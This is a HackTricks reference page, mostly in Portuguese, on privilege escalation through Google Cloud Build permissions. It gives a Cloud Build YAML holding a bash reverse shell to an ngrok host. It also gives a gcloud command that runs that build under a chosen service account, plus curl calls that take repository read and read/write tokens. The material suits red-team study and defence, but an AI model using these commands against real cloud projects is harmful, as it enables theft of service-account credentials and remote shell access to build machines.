GCP - Cloudbuild Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

cloudbuild

Para mais informações sobre Cloud Build, consulte:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Com essa permissão você pode submit a cloud build. A máquina do cloudbuild terá em seu filesystem por default um token do cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Entretanto, você pode indicar qualquer service account dentro do projeto na configuração do cloudbuild.
Portanto, você pode simplesmente fazer com que a máquina exfiltrate para o seu servidor o token ou get a reverse shell inside of it and get yourself the token (o arquivo contendo o token pode mudar).

Direct exploitation via gcloud CLI

1- Crie cloudbuild.yaml e modifique com os dados do seu listener

Cloud Build YAML configuration for reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Faça upload de um build simples sem código-fonte, apenas o arquivo yaml e especifique a SA a ser usada no build:

Enviar Cloud Build com a conta de serviço especificada ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Usando python gcloud library

Você pode encontrar o exploit script original here on GitHub (mas a localização de onde ele pega o token não funcionou para mim). Portanto, consulte um script para automatizar a creation, exploit and cleaning of a vuln environment here e um python script para obter um reverse shell dentro da máquina cloudbuild e steal it here (no código você pode encontrar como especificar outras service accounts).

Para uma explicação mais detalhada, visite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Com essa permissão o usuário pode obter o read access token usado para acessar o repositório:

Obter o read access token do repositório ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

Com esta permissão o usuário pode obter o token de acesso de leitura e gravação usado para acessar o repositório:

Obter token de acesso de leitura e gravação para o repositório ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

Com esta permissão você pode obter os repositórios aos quais a conexão tem acesso:

Buscar repositórios vinculáveis ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks